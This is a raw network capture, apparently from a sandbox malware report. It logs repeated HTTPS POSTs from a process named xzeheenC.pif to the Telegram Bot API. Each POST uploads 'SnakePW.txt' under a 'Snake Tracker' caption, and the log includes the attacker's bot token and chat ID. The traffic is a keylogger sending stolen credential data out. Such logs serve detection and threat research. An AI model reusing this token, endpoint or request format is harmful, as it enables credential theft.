Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49943	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:04 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20ef893a5471 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:04 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 65 66 38 39 33 61 35 34 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20ef893a5471Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:05 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:05 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418888,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535085,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49944	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:05 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21b3074f62f3 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:05 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 62 33 30 37 34 66 36 32 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21b3074f62f3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:05 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:05 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418889,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535085,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49949	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:06 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20ed9b305c5d Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:06 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 65 64 39 62 33 30 35 63 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20ed9b305c5dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:07 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:07 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418892,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535087,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49950	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:06 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd210716015f06 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:06 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 30 37 31 36 30 31 35 66 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd210716015f06Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:07 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:07 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418894,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535087,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49952	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:06 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21d585647a82 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:06 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 64 35 38 35 36 34 37 61 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21d585647a82Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:07 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:07 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418895,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535087,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49958	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:09 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd210a7f89af93 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:09 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 30 61 37 66 38 39 61 66 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd210a7f89af93Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:09 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:09 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418897,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535089,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49959	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:09 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2125107c93fb Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:09 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 32 35 31 30 37 63 39 33 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2125107c93fbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:09 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:09 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418898,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535089,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49960	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:09 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21fe3ea779ee Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:09 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 66 65 33 65 61 37 37 39 65 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: 